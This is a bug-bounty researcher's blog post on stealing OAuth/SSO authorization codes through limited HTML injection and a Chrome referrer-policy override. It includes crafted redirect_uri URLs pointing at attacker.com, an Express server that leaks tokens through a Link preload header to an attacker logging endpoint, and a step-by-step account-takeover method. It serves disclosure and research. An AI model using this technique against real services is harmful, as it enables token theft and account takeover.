The attack scenario involves diverting the user from the usual OAuth or SSO authentication process. I think the OAuth is clear, but SSO has many implementations. Here, I'm referring to the redirect method, which Hashnode, the blog provider I'm using, has implemented. If you want to technically see what I'm saying, just click on the login button here. It uses the redirect method in SSO, on which I previously found a severe vulnerability:
By the way, I'm not going into detail about the tricks since Frans Rosen's write-up covers it thoroughly. To summarize, you should redirect the victim to an alternative path that:
- has limited HTMLi, only
<meta>and<img>tags (nothing new, Omid's tweet) - has limited HTMLi, DOMPurified, only
<img>tag +referrerpolicyattribute (nothing new) - has limited HTMLi, DOMPurified, only
<style>(nothing new, CSS exfiltration works) - has the capability of taking control of an image tag
srcattribute (Chrome 0day?, rare case) - has limited HTMLi, DOMPurified, only
<img>tag is allowed (Chrome 0day?, not rare)
The first three cases have been widely discussed before, but last night I saw
a mysterious tweet
that opened a new insight. The tweet discusses the fourth case, which surprised
me. Why surprising? The default browser behavior does not leak the referrer when
fetching elements such as images from third parties unless the
referrerpolicy is set to unsafe-url. Assume there is an
OAuth link like this:
https://oauth-provider.com/oauth/authorize?
response_type=code&
client_id=YOUR_APP_ID&
redirect_uri=https://legitimate.com/callback&
scope=openid%20profile%20email&
state=random_state_string
Here, the attacker alters the redirect_uri to something like the following URL:
redirect_uri=https://legitimate.com/callback/../page?param=limited_html_here
I should add that some providers, like Google, do not allow even a small change
in redirect_uri. Some allow small changes, such as a trailing slash,
and some are more lenient and only securely validate the domain name, exactly
like my last case. On the other hand, there are plenty of ways to disrupt the
OAuth flow, leading the victim to a place where there is a small HTMLi. Here, if
the attacker has the capability of injecting an <img> tag
without attributes, they won't be able to steal the token since the
full referer won't be included in the HTTP request (only the
Origin will). So:
https://oauth-provider.com/oauth/authorize?
response_type=code&
client_id=YOUR_APP_ID&
redirect_uri=https://legitimate.com/callback/../page?param=<a+hre='//attacker.com/xyz.jpg'>&
scope=openid%20profile%20email&
state=random_state_string
Does nothing as the browser finally reaches the following link:
https://legitimate.com/callback/../page?
param=<a+hre='//attacker.com/xyz.jpg'>&
code=AUTHORIZATION_CODE&
state=random_state_string
Which results in sending an HTTP request to //attacker.com/xyz.jpg equipped with:
Referer: https://legitimate.com
This scenario is not working, as a hunter fell into this trick and tweeted about it. Now we reach the exciting part of this blog post, which seems to be a Google Chrome 0day. The @slonser_ has found that the policy header can be overridden:
const express = require('express');
const app = express();
const port = 9999;
const path = require('path');
app.get('/image.jpg', (req, res) => {
res.setHeader('Link', '<https://attacker.com/log>;rel="preload"; as="image"; referrerpolicy="unsafe-url"');
res.sendFile(path.join(__dirname, 'logo.jpg'));
});
app.get('/log', (req, res) => {
console.log(req.headers['referer']);
res.send('Hi!');
});
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});
The code delivers and applies a referrerpolicy="unsafe-url" for the
attacker's logger path. You probably know that, unlike other browsers, Chrome
resolves the Link header on sub-resource HTTP requests, and this is an
intentional behavior, not a vulnerability.
The problem here is that Chrome applies a new referrer policy, which includes
the complete referrer, including the OAuth token, etc. Taking advantage of this,
the attacker will receive the token via the referrer header.
As a final word, let me summarize the whole methodology:
- Find a limited HTMLi, more specifically, DOMPurified inputs are best since companies have over-trusted it, commonly allowing limited HTMLi
- Redirect the user to the injectable path; this can happen in OAuth and SSO. Take advantage of methods in Frans Rosen's blog post
- Exploit the behavior to leak the token using Referer Leakage or CSS data exfiltration (mentioned before)
I don't know when Google will issue a patch for this, but until then, you can find vulnerabilities as we do:
A Test-bed to Play with
Amir coded a vulnerable test bed, you can install and practice with it. He's also found 2 ATOs and several in-exploitable places with these techniques. I really appreciate him for sharing his knowledge in this web application.